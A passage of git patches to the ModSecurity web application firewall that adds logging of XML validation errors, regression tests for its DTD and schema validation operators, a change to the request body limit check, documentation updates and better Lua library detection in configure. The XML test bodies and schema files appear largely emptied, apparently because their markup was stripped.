> 3)&&( (debuglog_fd == NULL) || (level > filter_debug_level) )) return; - /* Construct the message. */ + /* Construct the message (leaving a byte left for a newline if needed). */ apr_vsnprintf(str1, sizeof(str1), text, ap); - apr_snprintf(str2, sizeof(str2), "[%s] [%s/sid#%pp][rid#%pp][%s][%d] %s\n", + str2len = apr_snprintf(str2, sizeof(str2)-1, + "[%s] [%s/sid#%pp][rid#%pp][%s][%d] %s", current_logtime(msr->mp), ap_get_server_name(r), (r->server), r, ((r->uri == NULL) ? "" : log_escape_nq(msr->mp, r->uri)), level, str1); + /* Add a newline if there is not one already (needed for msr_log_*) */ + if (str2[str2len - 1] != '\n') { + str2[str2len] = '\n'; + str2[str2len + 1] = '\0'; + } + /* Write to the debug log. */ if ((debuglog_fd != NULL)&&(level <= filter_debug_level)) { nbytes = strlen(str2); @@ -321,6 +329,33 @@ void msr_log(modsec_rec *msr, int level, const char *text, ...) { } +/** + * Logs one message at level 3 to the debug log and to the + * Apache error log. This is intended for error callbacks. + */ +void msr_log_error(modsec_rec *msr, const char *text, ...) { + const char *str = text; + va_list ap; + + va_start(ap, text); + internal_log(msr->r, msr->txcfg, msr, 3, str, ap); + va_end(ap); +} + +/** + * Logs one message at level 4 to the debug log and to the + * Apache error log. This is intended for warning callbacks. + */ +void msr_log_warn(modsec_rec *msr, const char *text, ...) { + const char *str = text; + va_list ap; + + va_start(ap, text); + internal_log(msr->r, msr->txcfg, msr, 4, str, ap); + va_end(ap); +} + + /** * Converts an Apache error log message into one line of text. */ diff --git a/apache2/re_operators.c b/apache2/re_operators.c index 528968f9..a7a8eebc 100644 --- a/apache2/re_operators.c +++ b/apache2/re_operators.c @@ -891,6 +891,12 @@ static int msre_op_validateDTD_execute(modsec_rec *msr, msre_rule *rule, msre_va return -1; } + /* Send validator errors/warnings to msr_log */ + /* NOTE: No xmlDtdSetValidErrors()? */ + cvp->error = (xmlSchemaValidityErrorFunc)msr_log_error; + cvp->warning = (xmlSchemaValidityErrorFunc)msr_log_warn; + cvp->userData = msr; + if (!xmlValidateDtd(cvp, msr->xml->doc, dtd)) { *error_msg = "XML: DTD validation failed."; xmlFreeValidCtxt(cvp); @@ -935,6 +941,9 @@ static int msre_op_validateSchema_execute(modsec_rec *msr, msre_rule *rule, msre return -1; } + /* Send parser errors/warnings to msr_log */ + xmlSchemaSetParserErrors(parserCtx, (xmlSchemaValidityErrorFunc)msr_log_error, (xmlSchemaValidityWarningFunc)msr_log_warn, msr); + schema = xmlSchemaParse(parserCtx); if (schema == NULL) { *error_msg = apr_psprintf(msr->mp, "XML: Failed to load Schema: %s", rule->op_param); @@ -950,6 +959,9 @@ static int msre_op_validateSchema_execute(modsec_rec *msr, msre_rule *rule, msre return -1; } + /* Send validator errors/warnings to msr_log */ + xmlSchemaSetValidErrors(validCtx, (xmlSchemaValidityErrorFunc)msr_log_error, (xmlSchemaValidityWarningFunc)msr_log_warn, msr); + rc = xmlSchemaValidateDoc(validCtx, msr->xml->doc); if (rc != 0) { *error_msg = "XML: Schema validation failed."; diff --git a/apache2/t/regression/rule/10-xml.t b/apache2/t/regression/rule/10-xml.t new file mode 100644 index 00000000..9861457f --- /dev/null +++ b/apache2/t/regression/rule/10-xml.t @@ -0,0 +1,361 @@ +### Test for XML operator rules + +### Validate Scheme +# OK +{ + type => "rule", + comment => "validateSchema (validate ok)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateSchema $ENV{CONF_DIR}/SoapEnvelope.xsd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 1\).*Target value: "\[XML document tree\]".*Successfully validated payload against Schema/s, 1 ], + -debug => [ qr/XML parser error|validation failed|Failed to load/, 1 ], + -error => [ qr/XML parser error|validation failed|Failed to load/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + 12123 + + + + ), + ), + ), +}, +# Failed validation +{ + type => "rule", + comment => "validateSchema (validate failed)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateSchema $ENV{CONF_DIR}/SoapEnvelope.xsd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 1\).*Target value: "\[XML document tree\]".*element is not expected/s, 1 ], + -debug => [ qr/XML parser error|Failed to load/, 1 ], + -error => [ qr/XML parser error|Failed to load/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + 12123 + + + + ), + ), + ), +}, +# Bad XML +{ + type => "rule", + comment => "validateSchema (bad XML)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateSchema $ENV{CONF_DIR}/SoapEnvelope.xsd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error/s, 1 ], + -debug => [ qr/Failed to load/, 1 ], + -error => [ qr/Failed to load/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + 12123 + + + + ), + ), + ), +}, +# Bad schema +{ + type => "rule", + comment => "validateSchema (bad schema)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateSchema $ENV{CONF_DIR}/SoapEnvelope-bad.xsd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 1\).*Target value: "\[XML document tree\]".*Failed to parse the XML resource.*Failed to load Schema/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + 12123 + + + + ), + ), + ), +}, + +# Validate DTD +# OK +{ + type => "rule", + comment => "validateDTD (validate ok)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateDTD $ENV{CONF_DIR}/SoapEnvelope.dtd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 1\).*Target value: "\[XML document tree\]".*Successfully validated payload against DTD/s, 1 ], + -debug => [ qr/XML parser error|validation failed|Failed to load/, 1 ], + -error => [ qr/XML parser error|validation failed|Failed to load/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + + 12123 + + + + ), + ), + ), +}, +# Failed validation +{ + type => "rule", + comment => "validateDTD (validate failed)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateDTD $ENV{CONF_DIR}/SoapEnvelope.dtd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 1\).*Target value: "\[XML document tree\]".*content does not follow the DTD/s, 1 ], + -debug => [ qr/XML parser error|Failed to load/, 1 ], + -error => [ qr/XML parser error|Failed to load/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + + 12123 + + + + ), + ), + ), +}, +# Bad XML +{ + type => "rule", + comment => "validateDTD (bad XML)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateDTD $ENV{CONF_DIR}/SoapEnvelope.dtd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error/s, 1 ], + -debug => [ qr/Failed to load/, 1 ], + -error => [ qr/Failed to load/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + + 12123 + + + + ), + ), + ), +}, +# Bad DTD +{ + type => "rule", + comment => "validateDTD (bad DTD)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRule REQUEST_HEADERS:Content-Type "^text/xml\$" \\ + "phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML" + SecRule REQBODY_PROCESSOR "!^XML\$" nolog,pass,skipAfter:12345 + SecRule XML "\@validateDTD $ENV{CONF_DIR}/SoapEnvelope-bad.dtd" \\ + "phase:2,deny,id:12345" + ), + match_log => { + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 1\).*Target value: "\[XML document tree\]".*Failed to load DTD/s, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "text/xml", + ], + normalize_raw_request_data( + q( + + + + + + 12123 + + + + ), + ), + ), +}, diff --git a/apache2/t/regression/server_root/conf/SoapEnvelope-bad.dtd b/apache2/t/regression/server_root/conf/SoapEnvelope-bad.dtd new file mode 100644 index 00000000..7d6c19f4 --- /dev/null +++ b/apache2/t/regression/server_root/conf/SoapEnvelope-bad.dtd @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/apache2/t/regression/server_root/conf/SoapEnvelope-bad.xsd b/apache2/t/regression/server_root/conf/SoapEnvelope-bad.xsd new file mode 100644 index 00000000..2acfd1da --- /dev/null +++ b/apache2/t/regression/server_root/conf/SoapEnvelope-bad.xsd @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Prose in the spec does not specify that attributes are allowed on the Body element + + + + + + + + + + + + + + + + + + + + 'encodingStyle' indicates any canonicalization conventions followed in the contents of the containing element. For example, the value 'http://schemas.xmlsoap.org/soap/encoding/' indicates the pattern described in SOAP specification + + + + + + + + + + + + + + + Fault reporting structure + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/apache2/t/regression/server_root/conf/SoapEnvelope.dtd b/apache2/t/regression/server_root/conf/SoapEnvelope.dtd new file mode 100644 index 00000000..0ad4a8ab --- /dev/null +++ b/apache2/t/regression/server_root/conf/SoapEnvelope.dtd @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/apache2/t/regression/server_root/conf/SoapEnvelope.xsd b/apache2/t/regression/server_root/conf/SoapEnvelope.xsd new file mode 100644 index 00000000..2b4a8c06 --- /dev/null +++ b/apache2/t/regression/server_root/conf/SoapEnvelope.xsd @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Prose in the spec does not specify that attributes are allowed on the Body element + + + + + + + + + + + + + + + + + + + + 'encodingStyle' indicates any canonicalization conventions followed in the contents of the containing element. For example, the value 'http://schemas.xmlsoap.org/soap/encoding/' indicates the pattern described in SOAP specification + + + + + + + + + + + + + + + Fault reporting structure + + + + + + + + + + + + + + + + + + + + + + + + From 225339525d00fc10662f1cd6da82c7492a255ab1 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 15 Aug 2008 20:21:25 +0000 Subject: [PATCH 074/110] Allow disabling processing of request body size limit in phase 1. See #518. --- apache2/mod_security2.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index fe405407..3991c072 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -570,19 +570,21 @@ static int hook_request_early(request_rec *r) { return DECLINED; } - /* Check request body limit (should only trigger on non-chunked requests). */ - if (msr->request_content_length > msr->txcfg->reqbody_limit) { - msr_log(msr, 1, "Request body is larger than the " - "configured limit (%ld).", msr->txcfg->reqbody_limit); - return HTTP_REQUEST_ENTITY_TOO_LARGE; - } - /* Process phase REQUEST_HEADERS */ rc = DECLINED; if (modsecurity_process_phase(msr, PHASE_REQUEST_HEADERS) > 0) { rc = perform_interception(msr); } + if ((msr->txcfg->is_enabled != MODSEC_DISABLED) && (rc == DECLINED)) { + /* Check request body limit (non-chunked requests only). */ + if (msr->request_content_length > msr->txcfg->reqbody_limit) { + msr_log(msr, 1, "Request body (Content-Length) is larger than the " + "configured limit (%ld).", msr->txcfg->reqbody_limit); + return HTTP_REQUEST_ENTITY_TOO_LARGE; + } + } + return rc; } From d419a21682a1db1fe4274dbd798b646240c3d637 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 15 Aug 2008 20:25:27 +0000 Subject: [PATCH 075/110] Update CHANGES. Sync up docs. --- CHANGES | 12 ++++++++++-- doc/modsecurity2-apache-reference.xml | 28 ++++++++++++++++++++++++--- 2 files changed, 35 insertions(+), 5 deletions(-) diff --git a/CHANGES b/CHANGES index 25868aa8..e83c35f3 100644 --- a/CHANGES +++ b/CHANGES @@ -1,7 +1,15 @@ 31 Jul 2008 - trunk -======= +------------------- - * Implement cssDecode. + * Allow for disabling request body limit checks in phase:1. + + * Added transformations for processing parity for legacy protocols ported + to HTTP(S): t:parityEven7bit, t:parityOdd7bit, t:parityZero7bit + + * Added t:cssDecode transformation to decode CSS escapes. + + * Now log XML parsing/validation warnings and errors to be in the debug log + at levels 3 and 4, respectivly. * Persistent counter updates are now atomic. diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 55d6c0dd..289c3c72 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.6.0-trunk (July 31, 2008) + Version 2.6.0-trunk (August 15, 2008) 2004-2008 @@ -3853,6 +3853,28 @@ SecRule XML:/xq:employees/employee/name/text() Fred \ to forward slashes.
+
+ <literal>parityEven7bit</literal> + + This function calculates even parity of 7-bit data replacing + the 8th bit of each target byte with the calculated parity bit. +
+ +
+ <literal>parityOdd7bit</literal> + + This function calculates odd parity of 7-bit data replacing + the 8th bit of each target byte with the calculated parity bit. +
+ +
+ <literal>parityZero7bit</literal> + + This function calculates zero parity of 7-bit data replacing + the 8th bit of each target byte with a zero parity bit which allows + inspection of even/odd parity 7bit data as ASCII7 data. +
+
<literal>removeNulls</literal> @@ -5469,7 +5491,7 @@ SecRule REQUEST_HEADERS:Ip-Address "!@streq %{TX.1}"@validateDTD /path/to/apache2/conf/xml.dtd,id:12345" +SecRule XML "@validateDTD /path/to/apache2/conf/xml.dtd" "deny,id:12345"
@@ -5484,7 +5506,7 @@ SecRule XML "@validateDTD /path/to/apache2/conf/xml.dtd,id: SecRule REQUEST_HEADERS:Content-Type ^text/xml$ \ phase:1,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML SecRule REQBODY_PROCESSOR "!^XML$" nolog,pass,skipAfter:12345 -SecRule XML "@validateSchema /path/to/apache2/conf/xml.xsd,id:12345" +SecRule XML "@validateSchema /path/to/apache2/conf/xml.xsd" "deny,id:12345" This operator requires request body to be processed as XML.
From 7eef5ce7ae3665c180d3f2f23619112f405da009 Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 15 Aug 2008 20:45:28 +0000 Subject: [PATCH 076/110] Update test stup with new msr_log_* wrappers. --- apache2/msc_test.c | 54 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) diff --git a/apache2/msc_test.c b/apache2/msc_test.c index 3077334d..02866025 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -128,6 +128,60 @@ void msr_log(modsec_rec *msr, int level, const char *text, ...) { va_end(ap); } +void msr_log_error(modsec_rec *msr, const char *text, ...) { + va_list ap; + int level = 3; + char str1[1024] = ""; + char str2[1256] = ""; + + if ((msr == NULL) || (level > msr->txcfg->debuglog_level)) { + return; + } + if (msr->txcfg->debuglog_fd == NOT_SET_P) { + if (apr_file_open(&msr->txcfg->debuglog_fd, msr->txcfg->debuglog_name, APR_READ|APR_WRITE|APR_CREATE|APR_APPEND|APR_BINARY, APR_OS_DEFAULT, g_mp) != APR_SUCCESS) { + fprintf(stderr, "ERROR: failed to create unit test debug log \"%s\".\n", msr->txcfg->debuglog_name); + msr->txcfg->debuglog_fd = NULL; + } + } + + va_start(ap, text); + if (msr->txcfg->debuglog_fd != NULL) { + apr_size_t nbytes_written = 0; + apr_vsnprintf(str1, sizeof(str1), text, ap); + apr_snprintf(str2, sizeof(str2), "%lu: [%d] [%s] %s\n", (unsigned long)getpid(), level, test_name, str1); + + apr_file_write_full(msr->txcfg->debuglog_fd, str2, strlen(str2), &nbytes_written); + } + va_end(ap); +} + +void msr_log_warn(modsec_rec *msr, const char *text, ...) { + va_list ap; + int level = 4; + char str1[1024] = ""; + char str2[1256] = ""; + + if ((msr == NULL) || (level > msr->txcfg->debuglog_level)) { + return; + } + if (msr->txcfg->debuglog_fd == NOT_SET_P) { + if (apr_file_open(&msr->txcfg->debuglog_fd, msr->txcfg->debuglog_name, APR_READ|APR_WRITE|APR_CREATE|APR_APPEND|APR_BINARY, APR_OS_DEFAULT, g_mp) != APR_SUCCESS) { + fprintf(stderr, "ERROR: failed to create unit test debug log \"%s\".\n", msr->txcfg->debuglog_name); + msr->txcfg->debuglog_fd = NULL; + } + } + + va_start(ap, text); + if (msr->txcfg->debuglog_fd != NULL) { + apr_size_t nbytes_written = 0; + apr_vsnprintf(str1, sizeof(str1), text, ap); + apr_snprintf(str2, sizeof(str2), "%lu: [%d] [%s] %s\n", (unsigned long)getpid(), level, test_name, str1); + + apr_file_write_full(msr->txcfg->debuglog_fd, str2, strlen(str2), &nbytes_written); + } + va_end(ap); +} + const char *ap_get_remote_host(conn_rec *conn, void *dir_config, int type, int *str_is_ip) { return "FAKE-REMOTE-HOST"; } From ab5cd9261860139be8d030f5c0b0a661e62b11cb Mon Sep 17 00:00:00 2001 From: brectanus Date: Fri, 15 Aug 2008 21:04:12 +0000 Subject: [PATCH 077/110] Update a regression test due to changed error message. --- apache2/t/regression/config/10-request-directives.t | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/apache2/t/regression/config/10-request-directives.t b/apache2/t/regression/config/10-request-directives.t index 19e7802e..baa51f15 100644 --- a/apache2/t/regression/config/10-request-directives.t +++ b/apache2/t/regression/config/10-request-directives.t @@ -166,7 +166,7 @@ SecRequestBodyLimit 5 ), match_log => { - error => [ qr/Request body is larger than the configured limit \(5\)\./, 1 ], + error => [ qr/Request body .*is larger than the configured limit \(5\)\./, 1 ], }, match_response => { status => qr/^413$/, From a686b0633a56edfff27ebdebb2eb41196254fb46 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 18 Aug 2008 16:00:29 +0000 Subject: [PATCH 078/110] Update configure to better find lua libs. --- apache2/build/find_lua.m4 | 118 +++++++++++++++++++++++++------------- apache2/configure | 117 ++++++++++++++++++++++++------------- 2 files changed, 153 insertions(+), 82 deletions(-) diff --git a/apache2/build/find_lua.m4 b/apache2/build/find_lua.m4 index 759d8514..d1abd1f6 100644 --- a/apache2/build/find_lua.m4 +++ b/apache2/build/find_lua.m4 @@ -8,6 +8,7 @@ LUA_CONFIG="pkg-config" LUA_PKGNAMES="lua5.1 lua5 lua" LUA_CFLAGS="" LUA_LIBS="" +LUA_SONAMES="so la sl dll dylib" AC_DEFUN([CHECK_LUA], [dnl @@ -21,7 +22,7 @@ AC_ARG_WITH( if test "${lua_path}" != "no"; then dnl # Determine lua lib directory if test -z "${lua_path}"; then - test_paths="/usr/local /usr" + test_paths="/usr /usr/local /opt" else test_paths="${lua_path}" fi @@ -58,52 +59,87 @@ if test "${lua_path}" != "no"; then dnl Hack to just try to find the lib and include AC_MSG_CHECKING([for lua install]) for x in ${test_paths}; do - if test -e "${x}/liblua5.1.a"; then - with_lua_lib="${x}" - lua_lib_name="lua5.1" + for y in ${LUA_SONAMES}; do + if test -e "${x}/liblua5.1.${y}"; then + with_lua_lib="${x}" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib/liblua5.1.${y}"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib64/liblua5.1.${y}"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib32/liblua5.1.${y}"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua5.1" + break + elif test -e "${x}/liblua51.${y}"; then + with_lua_lib="${x}" + lua_lib_name="lua51" + break + elif test -e "${x}/lib/liblua51.${y}"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua51" + break + elif test -e "${x}/lib64/liblua51.${y}"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua51" + break + elif test -e "${x}/lib32/liblua51.${y}"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua51" + break + elif test -e "${x}/liblua.${y}"; then + with_lua_lib="${x}" + lua_lib_name="lua" + break + elif test -e "${x}/lib/liblua.${y}"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua" + break + elif test -e "${x}/lib64/liblua.${y}"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua" + break + elif test -e "${x}/lib32/liblua.${y}"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua" + break + else + with_lua_lib="" + lua_lib_name="" + fi + done + if test -n "$with_lua_lib"; then break - elif test -e "${x}/lib/liblua5.1.a"; then - with_lua_lib="${x}/lib" - lua_lib_name="lua5.1" - break - elif test -e "${x}/lib64/liblua5.1.a"; then - with_lua_lib="${x}/lib64" - lua_lib_name="lua5.1" - break - elif test -e "${x}/lib32/liblua5.1.a"; then - with_lua_lib="${x}/lib32" - lua_lib_name="lua5.1" - break - elif test -e "${x}/liblua.a"; then - with_lua_lib="${x}" - lua_lib_name="lua" - break - elif test -e "${x}/lib/liblua.a"; then - with_lua_lib="${x}/lib" - lua_lib_name="lua" - break - elif test -e "${x}/lib64/liblua.a"; then - with_lua_lib="${x}/lib64" - lua_lib_name="lua" - break - elif test -e "${x}/lib32/liblua.a"; then - with_lua_lib="${x}/lib32" - lua_lib_name="lua" - break - else - with_lua_lib="" - lua_lib_name="" fi done for x in ${test_paths}; do - if test -e "${x}/lua.h"; then - with_lua_inc="${x}" - break - elif test -e "${x}/include/lua.h"; then + if test -e "${x}/include/lua.h"; then with_lua_inc="${x}/include" break - else - with_lua_inc="" + elif test -e "${x}/lua.h"; then + with_lua_inc="${x}" + break + fi + + dnl # Check some sub-paths as well + for lua_pkg_name in ${lua_lib_name} ${LUA_PKGNAMES}; do + if test -e "${x}/include/${lua_pkg_name}/lua.h"; then + with_lua_inc="${x}/include" + break + elif test -e "${x}/${lua_pkg_name}/lua.h"; then + with_lua_inc="${x}" + break + else + with_lua_inc="" + fi + done + if test -n "$with_lua_inc"; then + break fi done if test -n "${with_lua_lib}" -a -n "${with_lua_inc}"; then diff --git a/apache2/configure b/apache2/configure index b968cea6..d8faaaab 100755 --- a/apache2/configure +++ b/apache2/configure @@ -5178,6 +5178,7 @@ LUA_CONFIG="pkg-config" LUA_PKGNAMES="lua5.1 lua5 lua" LUA_CFLAGS="" LUA_LIBS="" +LUA_SONAMES="so la sl dll dylib" @@ -5612,7 +5613,7 @@ fi if test "${lua_path}" != "no"; then if test -z "${lua_path}"; then - test_paths="/usr/local /usr" + test_paths="/usr /usr/local /opt" else test_paths="${lua_path}" fi @@ -5653,52 +5654,86 @@ echo "${ECHO_T}no" >&6; } { echo "$as_me:$LINENO: checking for lua install" >&5 echo $ECHO_N "checking for lua install... $ECHO_C" >&6; } for x in ${test_paths}; do - if test -e "${x}/liblua5.1.a"; then - with_lua_lib="${x}" - lua_lib_name="lua5.1" + for y in ${LUA_SONAMES}; do + if test -e "${x}/liblua5.1.${y}"; then + with_lua_lib="${x}" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib/liblua5.1.${y}"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib64/liblua5.1.${y}"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua5.1" + break + elif test -e "${x}/lib32/liblua5.1.${y}"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua5.1" + break + elif test -e "${x}/liblua51.${y}"; then + with_lua_lib="${x}" + lua_lib_name="lua51" + break + elif test -e "${x}/lib/liblua51.${y}"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua51" + break + elif test -e "${x}/lib64/liblua51.${y}"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua51" + break + elif test -e "${x}/lib32/liblua51.${y}"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua51" + break + elif test -e "${x}/liblua.${y}"; then + with_lua_lib="${x}" + lua_lib_name="lua" + break + elif test -e "${x}/lib/liblua.${y}"; then + with_lua_lib="${x}/lib" + lua_lib_name="lua" + break + elif test -e "${x}/lib64/liblua.${y}"; then + with_lua_lib="${x}/lib64" + lua_lib_name="lua" + break + elif test -e "${x}/lib32/liblua.${y}"; then + with_lua_lib="${x}/lib32" + lua_lib_name="lua" + break + else + with_lua_lib="" + lua_lib_name="" + fi + done + if test -n "$with_lua_lib"; then break - elif test -e "${x}/lib/liblua5.1.a"; then - with_lua_lib="${x}/lib" - lua_lib_name="lua5.1" - break - elif test -e "${x}/lib64/liblua5.1.a"; then - with_lua_lib="${x}/lib64" - lua_lib_name="lua5.1" - break - elif test -e "${x}/lib32/liblua5.1.a"; then - with_lua_lib="${x}/lib32" - lua_lib_name="lua5.1" - break - elif test -e "${x}/liblua.a"; then - with_lua_lib="${x}" - lua_lib_name="lua" - break - elif test -e "${x}/lib/liblua.a"; then - with_lua_lib="${x}/lib" - lua_lib_name="lua" - break - elif test -e "${x}/lib64/liblua.a"; then - with_lua_lib="${x}/lib64" - lua_lib_name="lua" - break - elif test -e "${x}/lib32/liblua.a"; then - with_lua_lib="${x}/lib32" - lua_lib_name="lua" - break - else - with_lua_lib="" - lua_lib_name="" fi done for x in ${test_paths}; do - if test -e "${x}/lua.h"; then - with_lua_inc="${x}" - break - elif test -e "${x}/include/lua.h"; then + if test -e "${x}/include/lua.h"; then with_lua_inc="${x}/include" break - else - with_lua_inc="" + elif test -e "${x}/lua.h"; then + with_lua_inc="${x}" + break + fi + + for lua_pkg_name in ${lua_lib_name} ${LUA_PKGNAMES}; do + if test -e "${x}/include/${lua_pkg_name}/lua.h"; then + with_lua_inc="${x}/include" + break + elif test -e "${x}/${lua_pkg_name}/lua.h"; then + with_lua_inc="${x}" + break + else + with_lua_inc="" + fi + done + if test -n "$with_lua_inc"; then + break fi done if test -n "${with_lua_lib}" -a -n "${with_lua_inc}"; then From 1b977e6106d1318e2e026907145f4cdac7b0c685 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 27 Aug 2008 12:22:56 +0000 Subject: [PATCH 079/110] Clarifications in response to comments from Kiyohiko Kajihara. --- doc/modsecurity2-apache-reference.xml | 469 ++++++++++++++++++-------- 1 file changed, 319 insertions(+), 150 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml 